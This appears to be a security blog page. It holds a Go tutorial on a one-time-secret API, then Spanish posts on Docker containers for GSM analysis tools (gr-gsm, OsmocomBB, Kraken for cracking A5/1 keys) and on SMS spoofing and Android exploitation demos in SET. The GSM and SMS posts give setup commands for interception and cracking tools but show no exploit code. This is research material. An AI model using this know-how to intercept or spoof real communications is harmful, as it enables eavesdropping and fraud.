Using the great and simple Go http package is more than enough (and what I use) to expose simple HTTP endpoints. But when you need to build a HTTP API with lots of endpoints and user/media types, you have a lot of work ahead.
I found that using goa was a good solutions in those cases, because:
- You design your API using a design language (DSL).
- Lot of things are generated for you (useful code, swagger documentation, a client for the API, etc.).
- You get a Single Source of Trust (SSoT), so for example your swagger documentation is always updated with your controllers.
But I’ll be easier to show it with a quick tutorial, so let’s go 🙂
Requirements
- Make sure that you have installed Go and that your GOPATH is correctly set.
$ go version go version go1.8.1 darwin/amd64 $ echo $GOPATH /Users/Redsadic
(I like to use my $HOME
as my GOPATH
)
- Install goa.
$ go get -v github.com/goadesign/goa
- Create your new Go project in the
$GOPATH/src
directory.
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets $ cd $GOPATH/src/github.com/julianvilas/dummy-secrets
Now let’s start with the fun 🙂
Design
First of all, we need to define the API using the goa DSL. Let’s create a dummy API to share secrets using One-Time links (OTL). It’s not the case of a complex API but it’s easy to show how to work with goa.
We will have 2 endpoints:
- To store a new secret returning the corresponding OTL.
- To retrieve a secret using its OTL.
To define the API create a package called design:
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets/design
And edit the file design.go
(can be named as you want, e.g. api.go
or split in different files).
package design import ( . "github.com/goadesign/goa/design" . "github.com/goadesign/goa/design/apidsl" ) var _ = API("dummy-secrets", func() { Title("Dummy secrets") Description("Share your secrets using a dummy API") Version("1.0") BasePath("/v1") Scheme("http") Host("localhost:8080") Consumes("application/json") })
By now we have added some basic information of the API. The BasePath
will affect the URLs of all the resources we are going to add later, and the Scheme
, Host
and Consumes
will affect both the client and the swagger documentation.
Now we can bootstrap the API running:
$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design app app/contexts.go app/controllers.go app/hrefs.go app/media_types.go app/user_types.go main.go tool/dummy-secrets-cli tool/dummy-secrets-cli/main.go tool/cli tool/cli/commands.go client client/client.go client/user_types.go client/media_types.go swagger swagger/swagger.json swagger/swagger.yaml $ ll total 8 drwxr-xr-x 7 Redsadic staff 238B 1 may 18:14 app/ drwxr-xr-x 5 Redsadic staff 170B 1 may 18:14 client/ drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 design/ -rw-r--r-- 1 Redsadic staff 555B 1 may 18:14 main.go drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 swagger/ drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 tool/
As can be seen, some files have been generated:
- The directory
tool
will contain a cli to interact with the API. - The
client
will contain a SDK, used by the cli, to interact with the API. - The
app
will implement all the needed low-level HTTP functions. - The
swagger
will contain the autogenerated documentation. - In the root directory, the
main.go
will start the HTTP server will all the API controllers (0 by now). That one, with thedesign
package are the only we should modify. The others from above are auto-generated and shouldn’t be edited by hand.
Let’s take a look at the main.go
:
//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design package main import ( "github.com/goadesign/goa" "github.com/goadesign/goa/middleware" ) func main() { // Create service service := goa.New("dummy-secrets") // Mount middleware service.Use(middleware.RequestID()) service.Use(middleware.LogRequest(true)) service.Use(middleware.ErrorHandler(service, true)) service.Use(middleware.Recover()) // Start service if err := service.ListenAndServe(":8080"); err != nil { service.LogError("startup", "err", err) } }
A new goa service is created, applying some useful middleware to it. And then the HTTP server is run listening at the port 8080 we defined in the design.go
.
Now we can build, install and run it typing:
$ go install ./... $ dummy-secrets dummy-secrets dummy-secrets-cli $ dummy-secrets 2017/05/01 18:33:04 [INFO] listen transport=http addr=:8080
Now we have a really dummy API, because we haven’t defined yet any resource. So let’s add the endpoints we mentioned.
Edit the design/design.go
file and add:
var _ = Resource("Secrets", func() { BasePath("/secrets") Response(Created, func() { Status(201) Headers(func() { Header("Location", String, "Resource location", func() { Pattern("/secrets/[-a-zA-Z0-9]+") }) }) }) Action("create", func() { Routing(POST("/")) Description("Store a new Secret") Payload(SecretPayload) Response(Created) Response(InternalServerError, ErrorMedia) Response(BadRequest) }) Action("show", func() { Routing(GET("/:id")) Params(func() { Param("id", UUID) }) Description("Get a Secret by its ID") Response(OK, SecretMedia) Response(NotFound) Response(InternalServerError, ErrorMedia) Response(BadRequest) }) }) var SecretPayload = Type("SecretPayload", func() { Attribute("secret", String, func() { Description("A secret to be shared with someone.") Example(`I'm a secret, share me with someone safely please.`) MinLength(1) MaxLength(255) Pattern("^[[:print:]]+") }) Required("secret") }) var SecretMedia = MediaType("application/vnd.secret+json", func() { Reference(SecretPayload) Attributes(func() { Attribute("secret") Required("secret") }) View("default", func() { Attribute("secret") }) })
We have created a new Resource
«Secrets», with path /v1/secrets
. Then we have defined two actions for it:
create
: receives a payload like'{ "secret" : "I am a dummy secret"}'
and returns anHTTP Created
response, with aLocation
header pointing to the secret.show
: retrieves a secret by its ID and returns theSecretMedia
.
As you see we have defined the attributes (with validation requirements), the responses and the data we expect from the users.
Now, let’s bootstrap again (we can delete the main.go
file first to let it be generated again).
$ rm main.go $ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design app app/contexts.go app/controllers.go app/hrefs.go app/media_types.go app/user_types.go app/test app/test/secrets_testing.go main.go secrets.go tool/cli tool/cli/commands.go client client/client.go client/secrets.go client/user_types.go client/media_types.go swagger swagger/swagger.json swagger/swagger.yaml
Now we see that some more stuff has been generated:
- a
secrets.go
file that contains the secrets controller. - a helper under
app
to create tests for the controller.
Tne new main.go
now contains this new content, that is used to mount the controller into the goa service:
// Mount "Secrets" controller c := NewSecretsController(service) app.MountSecretsController(service, c)
And the secrets.go
contains:
package main import ( "github.com/goadesign/goa" "github.com/julianvilas/dummy-secrets/app" ) // SecretsController implements the Secrets resource. type SecretsController struct { *goa.Controller } // NewSecretsController creates a Secrets controller. func NewSecretsController(service *goa.Service) *SecretsController { return &amp;amp;amp;amp;amp;amp;SecretsController{Controller: service.NewController("SecretsController")} } // Create runs the create action. func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error { // SecretsController_Create: start_implement // Put your logic here // SecretsController_Create: end_implement return nil } // Show runs the show action. func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error { // SecretsController_Show: start_implement // Put your logic here // SecretsController_Show: end_implement res := &amp;amp;amp;amp;amp;amp;app.Secret{} return ctx.OK(res) }
Now we have to implement the logic of these two controllers.
Implement
First we need to create a storage where secrets can be stored and retrieved. In order to make things easy to test or replace and well organized, we will define a Persister
interface. Let’s put it in its own package persister
.
$ mkdir persister $ touch persister/persister.go
Edit the persister.go
and add:
package persister import ( uuid "github.com/satori/go.uuid" ) type Persister interface { Store(secret string) uuid.UUID Retrieve(id uuid.UUID) (string, error) }
And add also a implementation for the Persister
interface:
type MemPersister struct { storage map[string]string mux sync.RWMutex } func NewMemPersister() *MemPersister { return &amp;amp;amp;amp;amp;MemPersister{ storage: make(map[string]string), } } func (mp *MemPersister) Store(secret string) uuid.UUID { id := uuid.NewV4() mp.mux.Lock() defer mp.mux.Unlock() mp.storage[id.String()] = secret return id } func (mp *MemPersister) Retrieve(id uuid.UUID) (string, error) { mp.mux.RLock() defer mp.mux.RUnlock() secret, ok := mp.storage[id.String()] if !ok { return "", fmt.Errorf("error: a secret with id %v doesn't exist.", id) } delete(mp.storage, id.String()) return secret, nil }
Now we need to do two things:
- Add a
Persister
to the secrets controller, and implement the logic. - Inject the
MemPersister
in the main.
First we modify the secrets.go
:
package main import ( "github.com/goadesign/goa" "github.com/julianvilas/dummy-secrets/app" "github.com/julianvilas/dummy-secrets/persister" ) // SecretsController implements the Secrets resource. type SecretsController struct { *goa.Controller storage persister.Persister } // NewSecretsController creates a Secrets controller. func NewSecretsController(service *goa.Service, st persister.Persister) *SecretsController { return &amp;amp;amp;amp;amp;SecretsController{ Controller: service.NewController("SecretsController"), storage: st, } } // Create runs the create action. func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error { secret := ctx.Payload.Secret id := c.storage.Store(secret) ctx.ResponseData.Header().Set("Location", app.SecretsHref(id.String())) return ctx.Created() } // Show runs the show action. func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error { id := ctx.ID secret, err := c.storage.Retrieve(id) if err != nil { goa.LogError(ctx, err.Error()) return ctx.NotFound() } res := &amp;amp;amp;amp;amp;app.Secret{secret} if err := res.Validate(); err != nil { goa.LogError(ctx, err.Error()) return ctx.InternalServerError(goa.ErrInternal(err)) } return ctx.OK(res) }
And finally the main.go
:
//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design package main import ( "github.com/goadesign/goa" "github.com/goadesign/goa/middleware" "github.com/julianvilas/dummy-secrets/app" "github.com/julianvilas/dummy-secrets/persister" ) func main() { // Create service service := goa.New("dummy-secrets") // Mount middleware service.Use(middleware.RequestID()) service.Use(middleware.LogRequest(true)) service.Use(middleware.ErrorHandler(service, true)) service.Use(middleware.Recover()) // Mount "Secrets" controller mp := persister.NewMemPersister() c := NewSecretsController(service, mp) app.MountSecretsController(service, c) // Start service if err := service.ListenAndServe(":8080"); err != nil { service.LogError("startup", "err", err) } }
Run
Let’s test what we did. First of all, build and install again with go install ./...
.
Now use the cli to store a secret and the retrieve it:
$ dummy-secrets-cli CLI client for the dummy-secrets service Usage: dummy-secrets-cli [command] Available Commands: create Store a new Secret help Help about any command show Get a Secret by its ID Flags: --dump Dump HTTP request and response. -H, --host string API hostname (default "localhost:8080") -s, --scheme string Set the requests scheme -t, --timeout duration Set the request timeout (default 20s) Use "dummy-secrets-cli [command] --help" for more information about a command.
Start the service:
$ dummy-secrets 2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Create route=POST /v1/secrets 2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Show route=GET /v1/secrets/:id 2017/05/01 20:03:21 [INFO] listen transport=http addr=:8080
Store a secret:
$ dummy-secrets-cli create secrets --payload '{ "secret" : "a dummy secret" }' --dump 2017/05/01 20:05:30 [INFO] started id=OIBa7E5P POST=http://localhost:8080/v1/secrets 2017/05/01 20:05:30 [INFO] request headers Content-Type=application/json User-Agent=dummy-secrets-cli/1.0 2017/05/01 20:05:30 [INFO] request body={"secret":"a dummy secret"} 2017/05/01 20:05:30 [INFO] completed id=OIBa7E5P status=201 time=3.515675ms 2017/05/01 20:05:30 [INFO] response headers Date=Mon, 01 May 2017 18:05:30 GMT Content-Length=0 Content-Type=text/plain; charset=utf-8 Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
In the last line of the log can be seen the Location
header where the ID of the secret is returned:
Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
Now retrieve the secret using the ID:
$ dummy-secrets-cli show secrets --id 614dcf25-02e2-43dd-9809-e189abb7d8a7 --pp 2017/05/01 20:08:28 [INFO] started id=0VBkwhgo GET=http://localhost:8080/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7 2017/05/01 20:08:28 [INFO] completed id=0VBkwhgo status=200 time=4.074434ms { "secret": "a dummy secret" }
If you try to run it again, you’ll see that the secret is no longer available, as we implemented it as an OTL.
You can test it also with curl:
$ curl -vvv -X POST --data '{ "secret" : "a dummy secret" }' http://localhost:8080/v1/secrets Note: Unnecessary use of -X or --request, POST is already inferred. * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) &amp;amp;amp;gt; POST /v1/secrets HTTP/1.1 &amp;amp;amp;gt; Host: localhost:8080 &amp;amp;amp;gt; User-Agent: curl/7.51.0 &amp;amp;amp;gt; Accept: */* &amp;amp;amp;gt; Content-Length: 31 &amp;amp;amp;gt; Content-Type: application/x-www-form-urlencoded &amp;amp;amp;gt; * upload completely sent off: 31 out of 31 bytes &amp;amp;amp;lt; HTTP/1.1 201 Created &amp;amp;amp;lt; Location: /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 &amp;amp;amp;lt; Date: Mon, 01 May 2017 18:13:25 GMT &amp;amp;amp;lt; Content-Length: 0 &amp;amp;amp;lt; Content-Type: text/plain; charset=utf-8 &amp;amp;amp;lt; * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact $ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) &amp;amp;amp;gt; GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1 &amp;amp;amp;gt; Host: localhost:8080 &amp;amp;amp;gt; User-Agent: curl/7.51.0 &amp;amp;amp;gt; Accept: */* &amp;amp;amp;gt; &amp;amp;amp;lt; HTTP/1.1 200 OK &amp;amp;amp;lt; Content-Type: application/vnd.secret+json &amp;amp;amp;lt; Date: Mon, 01 May 2017 18:14:58 GMT &amp;amp;amp;lt; Content-Length: 28 &amp;amp;amp;lt; {"secret":"a dummy secret"} * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact $ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) &amp;amp;amp;gt; GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1 &amp;amp;amp;gt; Host: localhost:8080 &amp;amp;amp;gt; User-Agent: curl/7.51.0 &amp;amp;amp;gt; Accept: */* &amp;amp;amp;gt; &amp;amp;amp;lt; HTTP/1.1 404 Not Found &amp;amp;amp;lt; Date: Mon, 01 May 2017 18:15:00 GMT &amp;amp;amp;lt; Content-Length: 0 &amp;amp;amp;lt; Content-Type: text/plain; charset=utf-8 &amp;amp;amp;lt; * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact
And that was all! We got it running 🙂
You got the example in github, just:
$ go get -v github.com/julianvilas/dummy-secrets
Also you can see the swagger doc in http://swagger.goa.design/?url=julianvilas/dummy-secrets/design.
Improvements
- Create a
FilePersister
and to store in files instead of memory (or aS3Persister
, it’s easy to replace the Persister as we created it as an interface). - Create tests! You can use the
app/test
helpers goa generated for you. - Create documentation.
References
Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 1)
Esta serie de entradas (parte 2 y parte 3) surge inspirada por ésta entrada de Fox Glove Security: When Whales Fly – Building a Wireless Pentest Environment using Docker donde se explica cómo utilizar contenedores Docker para hacer más fácil el uso de algunas herramientas de pentesting WiFi. En este caso lo que se ha querido «contenizar» son herramientas para analizar comunicaciones GSM.
Aunque en esa entrada hay un excelente resumen sobre contenedores, Docker, imágenes y la filosofía de trabajo, aquí se rescatan algunos aspectos importantes para quien no sepa de que va el tema:
- A nivel usuario, Docker (o LXC) no deja de comportarse como una especie de hypervisor, aunque son conceptos diferentes. Una analogía que me ayudó a entender la diferencia en el aislamiento que proporcionan es: cuando se virtualiza con un hypervisor «clásico» las máquinas virtuales son como casa individuales; los contenedores, en cambio, se parecen más a los apartamentos de un mismo edificio (Containers are not VMs).
- Docker es el motor sobre el que corren los contenedores y estos comparten recursos, a través del kernel, con el host y con los otros contenedores.
- Docker permite ejecutar versiones específicas de aplicaciones sin la penalización de rendimiento que suponen las máquinas virtuales.
- Las imágenes Docker serían el equivalente a los binarios tradicionales en los SO, a partir de ellas se pueden crear contenedores (el equivalente a los procesos en los SO tradicionales).
- Los contenedores pueden ser efímeros o perdurar tanto como quiera el usuario.
- Los contenedores se pueden ejecutar de forma interactiva o como servicios.
Toda la información sobre Docker puede encontrarse en su propia sección de documentación:
Software Defined Radio
Contenedor base
El primer paso ha sido crear un contenedor con las herramientas básicas para trabajar con SDRs (Software Defined Radio), como por ejemplo los basados en hardware RTL, y con soporte para ejecutar aplicaciones gráficas aceleradas por hardware. El motivo para crear este contenedor base es poder aprovecharlo a la hora de trabajar con aplicaciones para otros protocolos de radio.
Nota: RTL-SDR es un tipo de SDR muy barato que utiliza dongles USB basados en el chip RTL2832U pensados para ver la TV y escuchar la radio. Mediante los esfuerzos combinados de Antti Palosaari, Eric Fry y Osmocom se descubrió que era posible acceder directamente a los datos de la señal I/Q de estos dispositivos, lo que permitió convertirlos en SDRs mediante un nuevo driver.
El código para crear la imagen Docker está en este repositorio:
Así como ésta ya compilada en Docker Hub:
docker pull pachulo/xenial-gnuradio-rtl-toolkit
Como se puede ver en el Dockerfile la imagen:
- Está basada en una imagen oficial de Ubuntu Xenial (16.04) con VirtualGL instalado (la explicación del porqué es necesario este componente está en la sección «Why do we need VirtualGL?» del Setting up a hw accelerated desktop on AWS G2 instances).
- Utiliza los drivers UHD del PPA de Ettus Research.
- Utiliza la última versión de los drivers SDR y de GNU-Radio empaquetados por la gente de Myriad-RF.
- Utiliza la última versión de Wireshark del PPA de los propios desarolladores.
- Compila este fork de los drivers rtl-sdr (más información aquí).
- Compila este fork del kalibrate-rtl, una herramienta para calibrar el error a la hora de sintonizar de los dispositivos RTL (más información sobre los diferentes forks).
Una vez compilada la imagen o descargada de Docker Hub, ya podremos realizar las primeras pruebas: por ejemplo, para comprobar que podemos acceder al dispositivo RTL desde el contenedor, podemos ejecutar el comando rtl_test dentro de un contenedor efímero:
docker run --rm --device=/dev/bus/usb/002 --entrypoint rtl_test pachulo/xenial-gnuradio-rtl-toolkit
Nota: una forma fácil de averiguar en que HUB USB hemos conectado nuestro dispositivo es ejecutar el comando dmesg justo después de conectarlo. Para el ejemplo de arriba me he guiado por esta información:
... [10891.158562] usb 2-1.3: new high-speed USB device number 14 using ehci-pci [10891.279033] usb 2-1.3: New USB device found, idVendor=0bda, idProduct=2838 [10891.279039] usb 2-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [10891.279041] usb 2-1.3: Product: RTL2838UHIDIR [10891.279043] usb 2-1.3: Manufacturer: Realtek [10891.279045] usb 2-1.3: SerialNumber: 00000001 ...
GR-GSM
Basado en la anterior se ha creado una imagen con gr-gsm, un software basado en GNURadio y cuyo objetivo es (según su propio autor):
The aim is to provide set of tools for receiving information transmitted by GSM equipment/devices.
En el siguiente enlace su pueden obtener los ficheros para compilar la imagen Docker:
Así como ésta ya compilada en Docker Hub:
docker pull pachulo/xenial-gr-gsm
Tal y como se puede observar en el Dockerfile, para crear la imagen se compila el software desde el código fuente y se copian un par de archivos para su correcto funcionamiento.
Antes de poder utilizar la imagen habrá que explicar un par de cosas sobre ejecutar aplicaciones basadas en X11 dentro de contenedores.
Aplicaciones gráficas dentro de contenedores
Ejecutar aplicaciones con GUI dentro de contenedores es un problema que ya se ha abordado anteriormente y para el que existen varias soluciones. Y si queremos obtener aceleración por hardware para utilizar aplicaciones OpenGL (como por ejemplo GNURadio) la cosa se complica un poco más, tal y como se explica en HW accelerated GUI apps on Docker.
Además de todo esto, si el sistema utiliza una tarjeta gráfica NVIDIA con el driver privativo, hará falta instalar en el host nvidia-docker, una utilidad de NVIDIA para crear y ejecutar imágenes Docker con acceso a sus GPUs (el porqué es necesaria la utilidad está explicado en su wiki).
La solución que se ha utilizado para este caso es la siguiente:
- Antes de crear el contenedor:
- Se crea un nuevo fichero Xauthority, en base a ~/.Xauthority, eliminando de la cookie las restricciones para clientes locales (idea extraída de Can you run GUI apps in a docker container?
y Authentication with X cookie instead of xhost +LOCAL). - Se crea un fichero para hacer de socket X.
- Se crea un nuevo fichero Xauthority, en base a ~/.Xauthority, eliminando de la cookie las restricciones para clientes locales (idea extraída de Can you run GUI apps in a docker container?
- Y al crearlo:
- Se monta el nuevo fichero Xauthority dentro del contenedor.
- Se configura la variable de entorno XAUTH en el contenedor para que apunte al nuevo fichero Xauthority.
- Se pasa la variable de entorno DISPLAY al contenedor con el mismo valor que la del host.
- Se monta el fichero que hará de socket X dentro del contenedor.
- Se monta el fichero de caracteres que representa a la tarjeta gráfica dentro del contenedor (de esto se encarga nvidia-docker para GPUs NVIDIA).
Ya que creo que ofrece suficiente aislamiento: el contenedor solo tendrá acceso de lectura-escritura al socket X y al fichero Xauthority y solo se podrá acceder al servidor X11 con la cookie creada para el nuevo fichero Xauthority, además de funcionar con la aceleración por hardware.
Nota: El contenedor creado funciona en mi máquina Ubuntu, que utiliza una tarjeta NVIDIA y el driver privativo, con nvidia-docker pero lo suyo sería ver si en otros sistemas basados en Linux con gráficas Intel y ATI también funciona (utilizando los drivers basados en MESA en esos casos, tal y como se explica aquí). Los usuarios de Windows y MacOS pueden probar alguna de las cosas que se comentan en este issue de Docker.
gr-gsm livemon
Una vez compilada o descargada la imagen y instalado nvidia-docker en el host ya se podrá realizar alguna prueba, como por ejemplo sintonizar el canal de broadcast (BCCH) de estaciones base próximas con la aplicación grgsm_livemon, ejecutando el siguiente script:
# Video support XAUTH=/tmp/.docker.xauth touch $XAUTH xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - XSOCK=/tmp/.X11-unix # Launch container nvidia-docker run \ --volume $XAUTH:$XAUTH \ --env XAUTHORITY=$XAUTH \ --env DISPLAY \ --volume $XSOCK:$XSOCK \ --env="QT_X11_NO_MITSHM=1" \ --device=/dev/bus/usb/002 \ --rm \ --entrypoint grgsm_livemon \ pachulo/xenial-gr-gsm
Si todo ha ido bien, se tendría que abrir una ventana como esta:
OsmocomBB
Otra de las imágenes que se ha creado ha sido una con OsmocomBB listo para usar. Toda la información sobre OsmocomBB se puede encontrar en su wiki, pero básicamente:
OsmocomBB is an Free Software / Open Source GSM Baseband software implementation. It
intends to completely replace the need for a proprietary GSM baseband software, such as
– drivers for the GSM analog and digital baseband (integrated and external) peripherals
– the GSM phone-side protocol stack, from layer 1 up to layer 3
In short: By using OsmocomBB on a compatible phone, you will be able
to make and receive phone calls, send and receive SMS, etc. based on Free Software only.
En el siguiente enlace su pueden obtener los ficheros para compilar la imagen Docker:
Así como ésta ya compilada en Docker Hub:
docker pull pachulo/xenial-osmocombb
Nota: Para poder utilizar esta imagen hará falta un teléfono compatible y un cable/adaptador USB-serie.
Cargar firmware y ejecutar la aplicación mobile
Una vez descargada (o compilada) la imagen y conectado el teléfono con el adaptador USB-serie, podemos arrancar un contenedor con la misma:
docker run --device=/dev/ttyUSB0 --rm -it --name test-osmocombb pachulo/xenial-osmocombb
Podemos probar a cargar un firmware en el teléfono ejecutando el comando osmocon dentro del contenedor:
cd /osmocom-bb/src/host/osmocon && ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin
Y haciendo una pulsación corta del botón de encendido del teléfono.
Si el firmware se ha cargado de forma correcta, el siguiente paso será conectarse al contenedor desde otro terminal:
docker exec -ti test-osmocombb /bin/bash
Y ejecutar «mobile», la implementación de la funcionalidad de un teléfono móvil normal que correrá en el contenedor:
cd /osmocom-bb/src/host/layer23/src/mobile && ./mobile -i 127.0.0.1
Que permitirá conectarse, desde otro terminal:
docker exec -ti test-osmocombb /bin/bash
E interactuar con el teléfono a través de telnet:
telnet 127.0.0.1 4247
Kraken
Otra de las herramientas que se utilizan para el análisis de seguridad de redes GSM es Kraken, un software que:
… allows the ‘cracking’ of A5/1 keys used to secure GSM 2G calls and SMS.
Nota: Para poder ejecutar esta herramienta será necesario un disco de 2TB para almacenar las rainbow tables (y unos 1.8TB de espacio de disco en otro sitio para descargarlas y poder volcarlas luego). Todo el proceso está explicado en Passive GSM interception Part 1. Para el volcado de las tablas se puede utilizar el contenedor.
Los ficheros para compilar la imagen están aquí:
Así como ésta ya compilada en Docker Hub:
docker pull pachulo/xenial-kraken
Y para arrancar el contenedor se podrá hacer con un comando similar a este:
docker run -ti --rm \ --device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 \ -v /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ pachulo/xenial-kraken
Conclusión
En las siguientes partes de la seríe se demostrará cómo ejecutar algunos escenarios de análisis y ataque en GSM utilizando estos contenedores.
Explotación en Android y SET
En relación con la presentación de SMS Spoofing, nos ha llegado alguna petición sobre el material relacionado con la demo explotación de Android.
Lo primero, comentar que todo lo utilizado para la demo de explotación de Android está basado en el trabajo de Javier Moreno y Eloi Sanfélix, presentado en la Rooted CON 2010, Seguridad y explotación nativa en Android. Los autores publicaron material sobre la presentación en sus respectivos blogs:
- http://www.limited-entropy.com/rootedcon-examples-summary
- http://vierito.es/wordpress/2010/04/15/rooted-con-2010-all-your-base-are-belong-to-us/
Para información sobre explotación nativa en Android os referenciamos pues, a dicho material :).
Sin embargo, ponemos a vuestra disposición el siguiente material, que utilizamos durante la presentación de SMS Spoofing:
– android_stack_tb.rb: El exploit original de Eloi Sanfelix y Javier Moreno, con la
«Ret» modificada para obtener el control con el desbordamiento en nuestro entorno Android 1.6 (API level 4).
Uso de SMS Spoofing desde SET

Aprovechando la publicación de los vídeos de la NcN, para aquellos que estén interesados, comentamos que durante la charla se realizó una demostración del uso de la funcionalidad de “SMS Spoofing” que se ha añadido a la versión 1.0 de Social Engineering Toolkit (SET). Por cierto, aprovechamos tambén para agradecer a Dave Keneddy la «acogida» de la aportación al framework de SET. Ha sido un auténtico placer poder colaborar con este proyecto.
En este post nos gustaría acabar de repasar las diferentes opciones disponibles des de la funcionalidad de “SMS Spoofing”.
Tras ejecutar SET, se puede acceder a las opciones de “SMS Spoofing” desde el menú principal, con la opción “7”:
No cON Name 2010
El pasado 21 de Octubre de 2010 se celebró la edición 2010 del congreso de las NcN 2010. Durante ésta tuve el placer de compartir, junto con mis compañeros Juan y Pau, el resultado de la investigación realizada sobre el SMSspoofing y sus riesgos derivados en la actualidad.
La investigación se ha llevado a cabo gracias a la colaboración y apoyo de la empresa en la que trabajo, TB·Security.
En ella hemos tenido la oportunidad de analizar el estado del arte de SMSspoofing, así como para ampliar las funcionalidades de SET (Social Engineering Toolkit) para:
- El envío de SMS mediante proveedores de envío de mensajes (spoofeables)
- La explotación de vulnerabilidades en terminales móviles
- La incorporación y creación de plantillas para mensajes SMS enviados
En posteriores entradas iremos profundizando en los detalles de la investigación realizada, compartiendo nuestras experiencias y descubrimientos. Por lo de pronto queremos haceros llegar la presentación realizada 🙂
Por último felicitar y agradecer a la asociación No cON Name por el evento, en el que personalmente me lo pasé genial. Felicitar también a los ponentes, que dieron unas charlas de lo más interesante y agradecer a TB·Security su gran apoyo y colaboración.
Hasta pronto!